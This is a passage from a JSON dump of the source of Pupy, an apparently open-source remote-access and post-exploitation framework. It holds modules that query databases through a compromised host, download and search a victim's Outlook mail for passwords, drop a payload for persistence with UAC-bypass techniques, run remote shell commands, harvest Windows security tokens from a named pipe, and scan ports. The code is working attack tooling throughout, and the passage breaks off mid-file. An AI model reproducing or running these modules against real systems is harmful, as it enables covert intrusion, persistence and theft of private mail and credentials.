    "content": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport sys\n\nfrom argparse import REMAINDER\nfrom threading import Event\nfrom re import compile as re_compile\nfrom re import IGNORECASE\nfrom os.path import join, dirname\nfrom hashlib import md5\nfrom datetime import datetime\nfrom io import open\n\nfrom pupy.pupylib.PupyOutput import Table, List, NewLine\nfrom pupy.pupylib.PupyModule import (\n    config, PupyModule, PupyArgumentParser, PupyConfig\n)\n\n__class_name__ = 'ODBC'\n\nEND = 0\nHEADER = 1\nDATA = 2\nLOG = 3\nERROR = 4\n\n\nclass Counter(object):\n    __slots__ = ('value',)\n\n    def __init__(self):\n        self.value = 0\n\n    def inc(self, value):\n        self.value += value\n\n    def __int__(self):\n        return self.value\n\n    def __str__(self):\n        return str(self.value)\n\n\nif sys.version_info.major > 2:\n    def _asunicode(x):\n        if isinstance(x, str):\n            return x\n        else:\n            return str(x)\nelse:\n    def _asunicode(x):\n        if isinstance(x, str):\n            try:\n                return x.decode('utf-8')\n            except UnicodeError:\n                return x.decode('latin-1')\n        elif isinstance(x, unicode):\n            return x\n        else:\n            return unicode(x)\n\n\n@config(category='admin')\nclass ODBC(PupyModule):\n    ''' Query SQL using ODBC '''\n\n    dependencies = ['pyodbc']\n\n    terminate = None\n\n    @classmethod\n    def init_argparse(cls):\n\n        cls.arg_parser = PupyArgumentParser(\n            prog='odbc', description=cls.__doc__)\n\n        cls.arg_parser.set_defaults(func=False)\n\n        commands = cls.arg_parser.add_subparsers(title='commands')\n\n        register = commands.add_parser('register', help='Register driver')\n        register.add_argument('name', help='Driver name (f.e. pg)')\n        register.add_argument(\n            '-d', '--description', help='Driver description')\n        register.add_argument(\n            'library', help='Driver library (f.e. psqlodbcw.so)')\n        register.set_defaults(func=cls.register)\n\n        drivers = commands.add_parser(\n            'drivers', help='Show registered drivers')\n        drivers.set_defaults(func=cls.drivers)\n\n        bind = commands.add_parser('bind', help='Bind to server')\n        bind.add_argument(\n            '-a', '--alias',\n            default='default', help='Short alias to identify connection'\n        )\n        bind.add_argument(\n            '-e', '--encoding', help='Specify encoding'\n        )\n        bind.add_argument(\n            'connstring', nargs=REMAINDER,\n            help='ODBC connection string (read docs, pyodbc)')\n        bind.set_defaults(func=cls.bind)\n\n        unbind = commands.add_parser('unbind', help='Close connection by alias')\n        unbind.add_argument('alias', nargs='?',\n            help='Short alias to identify connection')\n        unbind.set_defaults(func=cls.unbind)\n\n        bounded = commands.add_parser('list', help='Show established connections')\n        bounded.set_defaults(func=cls.bounded)\n\n        tables = commands.add_parser('tables', help='Show tables')\n        tables.add_argument(\n            '-a', '--alias', default='default',\n            help='Short alias to identify connection'\n        )\n        tables.add_argument(\n            '-v', '--views', default=False, action='store_true',\n            help='Show views and other types'\n        )\n        tables.add_argument(\n            'filter', default=None, nargs=REMAINDER, help='Regex to filter names (ex: ^dbo)'\n        )\n        tables.set_defaults(func=cls.tables)\n\n        describe = commands.add_parser('describe', help='Show table structure')\n        describe.add_argument(\n            '-a', '--alias', default='default',\n            help='Short alias to identify connection'\n        )\n        describe.add_argument(\n            'table', help='Table to describe'\n        )\n        describe.set_defaults(func=cls.describe)\n\n        count = commands.add_parser(\n            'count', help='Quick query, SELECT count(*) FROM <YOUR QUERY HERE>')\n        count.add_argument(\n            '-a', '--alias', default='default',\n            help='Short alias to identify connection'\n        )\n        count.add_argument('query', nargs=REMAINDER, help='Part of count() query')\n        count.set_defaults(func=cls.count)\n\n        query = commands.add_parser('q', help='Query SQL statement')\n        query.add_argument(\n            '-a', '--alias', default='default',\n            help='Short alias to identify connection'\n        )\n        query.add_argument(\n            '-v', '--verbose', action='store_true', default=False,\n            help='Show query, fetched records etc'\n        )\n        query.add_argument(\n            '-l', '--limit', default=10, type=int,\n            help='Send cancelation after this amount of records fetched'\n        )\n\n        output = query.add_mutually_exclusive_group()\n        output.add_argument(\n            '-D', '--dump', action='store_true', default=False,\n            help='Save result to file (paths.odbc/md5(query).txt)'\n        )\n        output.add_argument(\n            '-t', '--table', default=False, action='store_true',\n            help='Try to draw table'\n        )\n        output.add_argument(\n            '-T', '--tabs', default=False, action='store_true',\n            help='Output with plain strings separated by tabs'\n        )\n\n        query.add_argument(\n            'query', nargs=REMAINDER,\n            help='SQL query (SELECT name FROM master.dbo.sysdatabases)')\n        query.set_defaults(func=cls.query)\n\n    def run(self, args):\n        if args.func is False:\n            self.log(self.arg_parser.format_help())\n            return\n\n        need_impl = self.client.remote('odbc', 'need_impl')\n        if not self.client.is_windows() and need_impl():\n            self.client.load_dll('libodbc.so')\n            self.client.load_dll('libodbcinst.so')\n            self.client.load_package('pyodbc')\n\n        try:\n            args.func(self, args)\n        except Exception as e:\n            if len(e.args) == 2 and e.args[1].startswith('['):\n                self.error(\n                    e.args[1].rsplit('\\n', 1)[0].strip()\n                )\n            else:\n                self.error(e)\n\n    def bind(self, args):\n        bind = self.client.remote('odbc', 'bind')\n        connstring = ' '.join(args.connstring)\n        alias = bind(args.alias, connstring, args.encoding)\n\n        self.success('Bind: {} -> {}'.format(alias, connstring))\n\n    def drivers(self, args):\n        drivers = self.client.remote('odbc', 'drivers')\n        self.log(List(drivers()))\n\n    def register(self, args):\n        register = self.client.remote('odbc', 'register_driver')\n        drivers = self.client.remote('odbc', 'drivers')\n\n        if register(args.name, args.description, args.library):\n            self.client.load_dll(args.library)\n\n        self.log(List(drivers()))\n\n    def unbind(self, args):\n        unbind = self.client.remote('odbc', 'unbind')\n        alias = unbind(args.alias)\n\n        self.success('Unbind: {}'.format(alias))\n\n    def bounded(self, args):\n        bounded = self.client.remote('odbc', 'bounded')\n        aliased = bounded()\n        if not aliased:\n            return\n\n        self.log(\n            Table([\n                {\n                    'ALIAS': alias,\n                    'CONNSTR': connstr\n                } for (alias, connstr) in aliased\n            ], ['ALIAS', 'CONNSTR'])\n        )\n\n    def describe(self, args):\n        describe = self.client.remote('odbc', 'describe')\n        description = describe(args.alias, args.table)\n        self.log(\n            Table([\n                {\n                    'COLUMN': col,\n                    'TYPE': coltype\n                } for (col, coltype) in description\n            ], ['COLUMN', 'TYPE'])\n        )\n\n    def tables(self, args):\n        tables = self.client.remote('odbc', 'tables')\n        catalogs = tables(args.alias)\n        if not catalogs:\n            return\n\n        re_filter = None\n\n        if args.filter:\n            re_filter = re_compile(' '.join(args.filter), IGNORECASE)\n\n        for catalog, records in catalogs.items():\n            if args.views:\n                self.log(\n                    Table([\n                        {\n                            'TABLE': table, 'TYPE': tabletype\n                        } for (table, tabletype) in records\n                        if not re_filter or re_filter.match(table)\n                    ], ['TABLE', 'TYPE'], caption=catalog)\n                )\n            else:\n                self.log(\n                    List([\n                        table for (table, tabletype) in records\n                        if not re_filter or re_filter.match(\n                            table) and tabletype == 'TABLE'\n                    ], caption=catalog)\n                )\n\n    def count(self, args):\n        one = self.client.remote('odbc', 'one')\n        if not args.query:\n            self.error('Query is not specified')\n            return\n\n        query = 'SELECT count(*) FROM ' + ' '.join(args.query)\n\n        self.info('QUERY: {}'.format(query))\n\n        result = one(args.alias, query)\n\n        if result:\n            self.success('Count: {}'.format(result))\n\n    def query(self, args):\n        if not args.query:\n            self.error('Query is not specified')\n            return\n\n        query = ' '.join(args.query)\n\n        many = self.client.remote('odbc', 'many', False)\n\n        completion = Event()\n        header = []\n\n        output = None\n\n        total = Counter()\n\n        if args.dump:\n            config = self.client.pupsrv.config or PupyConfig()\n            now = str(datetime.now())\n            digest = md5(now + query).hexdigest()\n            output = config.get_file('odbc', {\n                '%c': self.client.short_name(),\n                '%d': digest\n            })\n\n            index = join(\n                dirname(output), 'index.txt'\n            )\n\n            self.info('Dumping to {}'.format(output))\n            output = open(output, 'w+', encoding='utf-8')\n\n            with open(index, 'a+') as indexobj:\n                indexobj.write(u'{}\\t{}\\t{}\\n'.format(digest, now, query))\n\n        def on_data(code, payload):\n            if code == END:\n                completion.set()\n                if args.verbose:\n                    self.info('DONE [Total: {}]'.format(total))\n            elif code == HEADER:\n                del header[:]\n                header.extend(payload)\n                if output or args.tabs:\n                    tabbed = u'\\t'.join(_asunicode(col[0]) for col in header)\n                    if output:\n                        output.write(tabbed + '\\n')\n                    else:\n                        self.log(tabbed)\n            elif code == LOG:\n                if args.verbose:\n                    self.info(payload)\n            elif code == ERROR:\n                self.error(payload)\n                completion.set()\n            elif code != DATA:\n                self.error('Unexpected code {}'.format(code))\n            elif payload is None:\n                return\n            elif output or args.tabs:\n                total.inc(len(payload))\n                for record in payload:\n                    tabbed = '\\t'.join(_asunicode(col) for col in record)\n                    if output:\n                        output.write(tabbed + '\\n')\n                    else:\n                        self.log(tabbed)\n            elif args.table:\n                titles = tuple(col[0] for col in header)\n                total.inc(len(payload))\n\n                self.log(\n                    Table([\n                        {\n                            title: value\n                            for title, value in zip(\n                                titles, values\n                            )\n                        } for values in payload\n                    ], titles)\n                )\n            else:\n                total.inc(len(payload))\n                titles = tuple(col[0] for col in header)\n\n                if len(header) == 1:\n                    for record in payload:\n                        self.log(record[0])\n                else:\n                    for record in payload:\n                        self.log(\n                            List([\n                                u'{}: {}'.format(title, value) for\n                                (title, value) in zip(\n                                    titles, record\n                                )\n                            ])\n                        )\n                        self.log(NewLine())\n\n        if args.verbose:\n            self.info('QUERY: {} LIMIT: {}'.format(query, args.limit))\n\n        self.terminate = many(\n            args.alias, query, args.limit, on_data\n        )\n\n        completion.wait()\n\n    def interrupt(self):\n        if self.terminate:\n            self.terminate()\n        else:\n            raise NotImplementedError()\n"
  },
  {
    "path": "pupy/modules/outlook.py",
    "content": "# -*- coding: utf-8 -*-\n#Author: @bobsecq\n#Contributor(s):\n\nfrom __future__ import print_function\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\nimport os\n\nfrom io import open\n\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom pupy.network.lib.rpc.utils.classic import download\n\n__class_name__=\"Outlook\"\n\n@config(compat=\"windows\", category=\"gather\")\nclass Outlook(PupyModule):\n    \"\"\" interact with Outlook session of the targeted user \"\"\"\n    dependencies=['outlook', 'win32api','win32com','pythoncom','winerror']\n\n    OL_SAVE_AS_TYPE={'olTXT': 0,'olRTF':1,'olTemplate': 2,'olMSG': 3,'olDoc':4,'olHTML':5,'olVCard': 6,'olVCal':7,'olICal': 8}\n    OL_DEFAULT_FOLDERS = {'olFolderDeletedItems':3,'olFolderDrafts':16,'olFolderInbox':6,'olFolderJunk':23,'olFolderSentMail':5}\n\n    @classmethod\n    def init_argparse(cls):\n        '''\n        '''\n        cls.arg_parser = PupyArgumentParser(prog=\"outlook\", description=cls.__doc__)\n        cls.arg_parser.add_argument('-i', dest='information', action='store_true', help=\"Get Outlook configuration\")\n        cls.arg_parser.add_argument('-l', dest='foldersAndSubFolders', action='store_true', help=\"Get Outlook folders and subfolders\")\n        cls.arg_parser.add_argument('-n', dest='numberOfEmails', action='store_true', help=\"Get number of emails stored in the outlook folder choisen (see options below)\")\n        cls.arg_parser.add_argument('-d', dest='downloadAllEmails', action='store_true', help=\"Download all emails stored in the outlook folder choisen with MAPI (see options below)\")\n        cls.arg_parser.add_argument('-t', dest='downloadOST', action='store_true', help=\"Download Outlook OST file (Offline or cached Outlook items)\")\n        cls.arg_parser.add_argument('-s', dest='search', action='store_true', help=\"Search strings in emails, see -strings for options\")\n        cls.arg_parser.add_argument('-strings', dest='strings', default=\"password,pwd,credentials\", help=\"Strings to search in emails (use with -s) (default: %(default)s)\")\n        cls.arg_parser.add_argument('-output-folder', dest='localOutputFolder', default='output/', help=\"Folder which will contain emails locally (default: %(default)s)\")\n        cls.arg_parser.add_argument('-folder-default', choices=list(cls.OL_DEFAULT_FOLDERS), default=\"olFolderInbox\", dest='outlookFolder', help=\"Choose Outlook Folder using a default folder (default: %(default)s)\")\n        cls.arg_parser.add_argument('-folder-id', dest='folderId', default=None, help=\"Choose Outlook Folder using a folder ID (default: %(default)s)\")\n        cls.arg_parser.add_argument('-otype', choices=list(cls.OL_SAVE_AS_TYPE), default=\"olMSG\", dest='msgSaveType', help=\"Email saved as this type (default: %(default)s)\")\n\n    def run(self, args):\n        '''\n        '''\n        localFolder=args.localOutputFolder\n        self.localFolder = os.path.join(localFolder, \"{0}-{1}-{2}\".format(self.client.desc['hostname'], self.client.desc['user'], self.client.desc['macaddr'].replace(':','')))\n        if not os.path.exists(self.localFolder):\n            self.info(\"Creating the {0} folder locally\".format(self.localFolder))\n            os.makedirs(self.localFolder)\n        if args.folderId is not None:\n            self.warning('Notice the folder Id option will be used and the default folder option will be disabled')\n        outlook = self.client.conn.modules['outlook'].outlook(folderIndex=self.OL_DEFAULT_FOLDERS[args.outlookFolder], folderId=args.folderId, msgSaveType=args.msgSaveType)\n        if args.downloadOST:\n            self.success(\"Trying to download Outlook OST file of the targeted current user\")\n            paths = outlook.getPathToOSTFiles()\n            if len(paths)>0:\n                localPath = os.path.join(self.localFolder, ''.join(\n                    path for path in paths[0][0].encode('ascii', 'ignore') if path.isalnum())\n                )\n                self.success(\"Downloading the file {0} to {1}...\".format(paths[0][1], localPath))\n                download(self.client.conn, paths[0][1], localPath)\n                self.success(\"OST file downloaded from {0} to {1}\".format(paths[0][1], localPath))\n            else:\n                self.error(\"OST file not found or an error occured\")\n        if outlook.outlookIsInstalled():\n            self.success(\"Outlook application seems to be installed on the target, trying to connect to MAPI...\")\n            if outlook.connect():\n                self.success(\"Connected to outlook application trough MAPI\")\n            else:\n                self.error(\"Impossible to connect to outlook application trough MAPI. Abording!\")\n                return\n        else:\n            self.error(\"Outlook application doesn't seem to be installed on the target. Nothing to do. Cancelling!\")\n            return\n        if args.information:\n            info = outlook.getInformation()\n            for key, value in info.items():\n                self.success(\"{0}: {1}\".format(key, value))\n        if args.foldersAndSubFolders:\n            self.success(\"Outlook folders and subfolders:\")\n            foldersAndSubFolders = outlook.getAllFolders()\n            for i,folder in enumerate(foldersAndSubFolders):\n                print(\"{0}: {1}\".format(i, folder.encode('utf-8')))\n                for j,subFolder in enumerate(foldersAndSubFolders[folder]):\n                    print(\"  {0}.{1}: {2} (id: {3})\".format(i, j, subFolder.encode('utf-8'), foldersAndSubFolders[folder][subFolder].encode('utf-8')))\n        if args.numberOfEmails:\n            self.success(\"Trying to get number of emails in the {0} folder\".format(args.outlookFolder))\n            nb = outlook.getNbOfEmails()\n            self.success(\"Number of emails in the {0} folder: {1}\".format(args.outlookFolder, nb))\n        if args.downloadAllEmails:\n            self.success(\"Trying to download all emails stored in the {0} folder\".format(args.outlookFolder))\n            nb = outlook.getNbOfEmails()\n            if nb == 0:\n                self.error(\"This box is empty. You should choose another outlook folder\")\n            else:\n                self.success(\"{0} emails found in {0}, Starting download...\".format(args.outlookFolder))\n                self.success(\"You can use msgconvert for reading these emails locally\")\n                self.warning(\"If nothing happens, a Outlook security prompt has probably been triggered on the target.\")\n                self.warning(\"Notice if an antivirus is installed on the target, you should be abled to download emails without security prompt (see https://support.office.com/en-us/article/I-get-warnings-about-a-program-accessing-e-mail-address-information-or-sending-e-mail-on-my-behalf-df007135-c632-4ae4-8577-dd4ba26750a2)\")\n                self.info(\"Downloading all emails\")\n                for i, anEmail in enumerate(outlook.getEmails()):\n                    aPathToMailFile, filename = outlook.getAMailFile(anEmail)\n                    self.success('Downloading email {0}/{1}...'.format(i+1, outlook.getNbOfEmails()))\n                    localPathToFile = os.path.join(self.localFolder, filename)\n                    self.info(\"Downloading the file {0} to {1}\".format(aPathToMailFile, localPathToFile))\n                    download(self.client.conn, aPathToMailFile, localPathToFile)\n                    self.info(\"Deleting {0}\".format(aPathToMailFile))\n                    outlook.deleteTempMailFile(aPathToMailFile)\n                print(\"\\n\")\n                self.success(\"Download completed!\")\n        if args.search:\n            self.success(\"Searching '{0}' in emails stored in {1} folder...\".format(args.strings, args.outlookFolder))\n            localPathToFile = os.path.join(self.localFolder, \"research.txt\")\n            emails = outlook.searchStringsInEmails(strings=args.strings, separator=',')\n            if len(emails) > 0:\n                self.success(\"{0} emails found with {1}\".format(len(emails), args.strings))\n            else:\n                self.error(\"{0} emails found with {1}\".format(len(emails), args.strings))\n            f = open(localPathToFile,\"w\")\n            for i, anEmail in enumerate(emails):\n                f.write(\"-\"*100+'\\n')\n                f.write(\"[+] Email {0}\\n\".format(i))\n                f.write(\"-\"*100+'\\n')\n                f.write(\"Subject: {0}\\n\".format(anEmail['subject'].encode('utf8')))\n                f.write(\"Body: {0}\\n\".format(anEmail['body'].encode('utf8')))\n            self.success(\"Research completed!\")\n            self.success(\"See the following file for results: {0}\".format(localPathToFile))\n            f.close()\n"
  },
  {
    "path": "pupy/modules/persistence.py",
    "content": "# -*- coding: utf-8 -*-\n# --------------------------------------------------------------\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without modification, are permitted provided\n# that the following conditions are met:\n# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and\n# the following disclaimer.\n# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and\n# the following disclaimer in the documentation and/or other materials provided with the distribution.\n# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or\n# promote products derived from this software without specific prior written permission.\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES,\n# INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,\n# WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE\n# --------------------------------------------------------------\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom pupy.pupylib.PupyCompleter import remote_path_completer\nfrom pupy.cli import pupygen\n\n__class_name__ = \"Persistence\"\n\n\n@config(cat=\"manage\", compat=['linux', 'windows'])\nclass Persistence(PupyModule):\n    \"\"\" Enable / Disable persistence \"\"\"\n\n    dependencies = {\n        'linux': ['persistence'],\n        'windows': ['winpwnage.core', 'winpwnage.functions.persist']\n    }\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog=\"persistence\", description=cls.__doc__)\n        cls.arg_parser.add_argument(\n            '-s', '--shared', action='store_true', default=False,\n            help='prefer shared object (linux only)')\n        cls.arg_parser.add_argument(\n            '-p', dest='payload',\n            help='remote path or cmd to execute at login (windows only)', completer=remote_path_completer)\n        cls.arg_parser.add_argument(\n            '-n', dest='name',\n            help='custom name to use (windows only)')\n        cls.arg_parser.add_argument(\n            '-m', dest='method',\n            help=\"should be an ID, get the list (-l) scanning which methods are possible (windows only)\")\n        cls.arg_parser.add_argument(\n            '-l', dest='scan', action='store_true', default=False,\n            help=\"list all possible techniques for this host (windows only)\")\n        cls.arg_parser.add_argument(\n            '--remove', action='store_true',\n            help='remove persistence', default=False)\n\n    def run(self, args):\n        if self.client.is_windows():\n            self.windows(args)\n        else:\n            self.linux(args)\n\n    def linux(self, args):\n        if args.remove:\n            # TODO persistence removal\n            self.error(\"not implemented for linux\")\n            return\n\n        drop = self.client.remote('persistence', 'drop', False)\n        exebuff, tpl, _ = pupygen.generate_binary_from_template(\n            self.log,\n            self.client.get_conf(),\n            self.client.desc['platform'],\n            arch=self.client.arch,\n            shared=args.shared\n        )\n\n        self.success(\"Generating the payload with the current config from {} - size={}\".format(\n            tpl, len(exebuff)))\n\n        drop_path, conf_path, method = drop(exebuff, args.shared)\n        if drop_path and conf_path and method:\n            self.success('Dropped: {} Method: {} Config: {}'.format(drop_path, method, conf_path))\n        elif method:\n            self.error('Failed: {}'.format(method))\n        else:\n            self.error('Couldn\\'t make service persistent.')\n\n    def parse_result(self, result, print_result=True, get_method_id=True):\n        \"\"\"\n        Parse result returned by WinPwnage\n        Return the best method id if possible\n        \"\"\"\n        func = {'t': self.log, 'ok': self.success, 'error': self.error, 'info': self.info, 'warning': self.warning}\n        preferred_methods = self.client.pupsrv.config.get(\"persistence\", \"preferred_methods\").split(',')\n\n        method_id = []\n        for tag, message in result:\n            if tag in func:\n                if print_result:\n                    func[tag](message)\n                if tag == 'ok' and get_method_id:\n                    method_id.append(message.split()[0])\n\n        if get_method_id:\n            for p in preferred_methods:\n                if p in method_id:\n                    return p\n\n    def launch_scan(self, print_result=True):\n        \"\"\"\n        Check all possible methods found on the target to persist\n        \"\"\"\n        scanner = self.client.remote('winpwnage.core.scanner', 'scanner', False)\n        result = scanner(uac=False, persist=True, elevate=False, execute=False).start()\n        return self.parse_result(result, print_result)\n\n    def windows(self, args):\n\n        if args.scan:\n            self.launch_scan()\n            return\n\n        if not args.remove and not args.payload:\n            self.error('Add payload (remote path to execute at login)')\n            return\n\n        name = args.name if args.name else self.client.pupsrv.config.get(\"persistence\", \"name\")\n        method = args.method\n        if not method and (not args.scan or not args.remove):\n            method = self.launch_scan(print_result=False)\n            if not method:\n                self.error('Get the list of possible methods (-l) and bypass uac using -m <id>')\n                return\n\n        persist = self.client.remote('winpwnage.core.scanner', 'function', False)\n        result = persist(uac=False, persist=True).run(\n            id=method, payload=args.payload, name=name, add=not args.remove\n        )\n        if not result:\n            self.error('Nothing done, check if the id is on the list')\n        else:\n            self.parse_result(result, get_method_id=False)\n"
  },
  {
    "path": "pupy/modules/pexec.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom pupy.pupylib.PupyModule import (\n    config, PupyModule, PupyArgumentParser,\n    REQUIRE_STREAM\n)\n\nimport datetime\nimport subprocess\nimport threading\nimport chardet\n\nfrom argparse import REMAINDER\n\n__class_name__=\"PExec\"\n\n\n@config(cat=\"admin\")\nclass PExec(PupyModule):\n    \"\"\" Execute shell commands non-interactively on a remote system in background using popen\"\"\"\n\n    terminate_pipe = None\n    terminated = False\n    encoding = None\n    errors = None\n\n    dependencies = [\"pupyutils.safepopen\"]\n    io = REQUIRE_STREAM\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog='pexec', description=cls.__doc__)\n        cls.arg_parser.add_argument(\n            '-n',\n            action='store_true',\n            help='Don\\'t catch stderr',\n        )\n        cls.arg_parser.add_argument(\n            '-N',\n            action='store_true',\n            help='Start detached',\n        )\n        encodings = cls.arg_parser.add_mutually_exclusive_group()\n        encodings.add_argument(\n            '-E',\n            action='store_true',\n            help='Disable auto decoding',\n        )\n        encodings.add_argument(\n            '-e', help='Use encoding to decode stream',\n        )\n        cls.arg_parser.add_argument(\n            '-s',\n            action='store_true',\n            help='Start in shell',\n        )\n        cls.arg_parser.add_argument(\n            '-S', '--set-uid',\n            help='Set UID (Posix only)',\n        )\n        cls.arg_parser.add_argument(\n            'arguments',\n            nargs=REMAINDER,\n            help='CMD args'\n        )\n\n    def run(self, args):\n        if not args.arguments:\n            self.error('No command specified {}'.format(args.__dict__))\n            return\n\n        if args.E or not self.client.is_windows():\n            self.encoding = False\n        elif args.e:\n            self.encoding = args.e\n\n        cmdargs = args.arguments\n        safe_exec = self.client.remote('pupyutils.safepopen', 'safe_exec', False)\n        cmdenv = {\n            'stderr': (None if args.n else subprocess.STDOUT),\n            'universal_newlines': False,\n            'detached': args.N\n        }\n\n        if len(cmdargs) == 1 and ' ' in cmdargs[0]:\n            cmdenv.update({\n                'shell': True\n            })\n            cmdargs = cmdargs[0]\n        else:\n            cmdenv.update({\n                'shell': False\n            })\n            if args.s:\n                cmdargs = [\n                    'cmd.exe', '/c',\n                ] + cmdargs if self.client.is_windows() else [\n                    '/bin/sh', '-c', ' '.join(\n                        '\"'+x.replace('\"', '\\\"')+'\"' for x in cmdargs\n                    )\n                ]\n\n        if args.set_uid:\n            cmdenv['suid'] = args.set_uid\n\n        close_event = threading.Event()\n\n        def on_read(data):\n            if self.encoding is None:\n                try:\n                    if not self.encoding:\n                        encoding = chardet.detect(data)\n                        if encoding['confidence'] > 0.7 and \\\n                          encoding['encoding'] != 'ascii':\n                            self.encoding = encoding['encoding']\n                except Exception as e:\n                    self.errors = e\n\n            if self.encoding:\n                try:\n                    data = data.decode(\n                        self.encoding\n                    ).encode('utf-8')\n                except UnicodeError as e:\n                    self.errors = e\n\n\n            self.stdout.write(data)\n\n        if type(cmdargs) == list:\n            cmdargs = tuple(cmdargs)\n\n        kwargs = tuple((k,v) for k,v in cmdenv.items())\n\n        self.terminate_pipe, get_returncode = safe_exec(\n            on_read, close_event.set, cmdargs, kwargs\n        )\n\n        if hasattr(self.job, 'id'):\n            self.success('Started at {}'.format(\n                datetime.datetime.now()))\n\n        close_event.wait()\n\n        retcode = get_returncode()\n        if retcode == 0:\n            self.success('Completed at {}'.format(datetime.datetime.now()))\n        elif retcode is not None:\n            self.error(\n                'Ret: {} at {}'.format(retcode, datetime.datetime.now()))\n\n    def interrupt(self):\n        if not self.terminated and self.terminate_pipe:\n            self.terminated = True\n            self.error('Stopping command')\n            self.terminate_pipe()\n            self.error('Stopped')\n"
  },
  {
    "path": "pupy/modules/pipecatcher.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom pupy.pupylib.PupyOutput import List\n\nCATCHER_EVENT = 0x11000003\n\n__class_name__ = 'PipeCatcher'\n__events__ = {\n    CATCHER_EVENT: 'pipecatcher'\n}\n\n\n@config(compat=\"windows\", category='exploit')\nclass PipeCatcher(PupyModule):\n    'Collect security tokens from pipe server (\\\\\\\\.\\\\pipe\\\\catcher)'\n\n    unique_instance = True\n\n    dependencies = {\n        'windows': ['pipecatcher']\n    }\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(\n            prog='pipecatcher', description=cls.__doc__)\n\n        cls.arg_parser.add_argument(\n            'action', choices=['start', 'stop', 'dump']\n        )\n\n    def run(self, args):\n        if args.action == 'start':\n            catcher_start = self.client.remote(\n                'pipecatcher', 'catcher_start', False)\n            if catcher_start(CATCHER_EVENT):\n                self.success('PipeCatcher started')\n            else:\n                self.error('PipeCatcher already started')\n\n        elif args.action == 'dump':\n            catcher_dump = self.client.remote('pipecatcher', 'catcher_dump')\n            data = catcher_dump()\n            if data is None:\n                self.error('PipeCatcher is not running')\n            elif not data:\n                self.warning('No data')\n            else:\n                data = [\n                    '{} ({})'.format(name, sid) if name != sid\n                    else sid for (name, sid) in data\n                ]\n                self.log(List(data))\n\n        elif args.action == 'stop':\n            catcher_stop = self.client.remote(\n                'pipecatcher', 'catcher_stop', False)\n            catcher_stop()\n            self.success('PipeCatcher stopped')\n\n    def stop_daemon(self):\n        self.success('PipeCatcher stopped')\n"
  },
  {
    "path": "pupy/modules/port_scan.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nimport threading\n\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom pupy.pupylib.PupyOutput import Table\n\nfrom netaddr import IPAddress\nfrom netaddr.core import AddrFormatError\n\n__class_name__=\"PortScan\"\n\n@config(cat=\"network\")\nclass PortScan(PupyModule):\n    \"\"\" run a TCP port scan \"\"\"\n\n    abort = None\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog=\"port_scan\", description=cls.__doc__)\n        cls.arg_parser.add_argument('--ports','-p', default=\"21,22,23,80,139,443,445,1433,1521,3389,7001,8000,8080\",  help='ports to scan ex: 22,80,443')\n        cls.arg_parser.add_argument('--timeout', default=10, type=int,\n                                    help='timeout (default: %(default)s)')\n        cls.arg_parser.add_argument('--portion', default=32, type=int,\n                                    help='number of ports scanned per timeout (default: %(default)s)')\n        cls.arg_parser.add_argument('target', metavar=\"ip/range\", help='IP/range')\n\n    def run(self, args):\n        self.terminated = threading.Event()\n\n        scanthread = self.client.remote('network.lib.scan', 'scanthread_parse', False)\n\n        connectable = []\n\n        def set_connectable(addrs):\n            connectable.extend(addrs)\n            self.terminated.set()\n\n        def on_exception(exception):\n            self.error('Internal Error: {}'.format(exception))\n            self.terminated.set()\n\n        self.abort = scanthread(\n            args.target, args.ports, set_connectable,\n            on_exception=on_exception,\n            timeout=args.timeout, portion=args.portion\n        )\n\n        self.terminated.wait()\n\n        if connectable:\n            objects = {}\n            for host, port in connectable:\n                try:\n                    host = IPAddress(host)\n                except AddrFormatError:\n                    pass\n\n                port = int(port)\n\n                if host in objects:\n                    objects[host].add(port)\n                else:\n                    objects[host] = set([port])\n\n            self.log(Table(\n                list({\n                    'IP': str(host),\n                    'PORTS': ', '.join([str(port) for port in sorted(list(objects[host]))])\n                } for host in sorted(objects)),\n                ['IP', 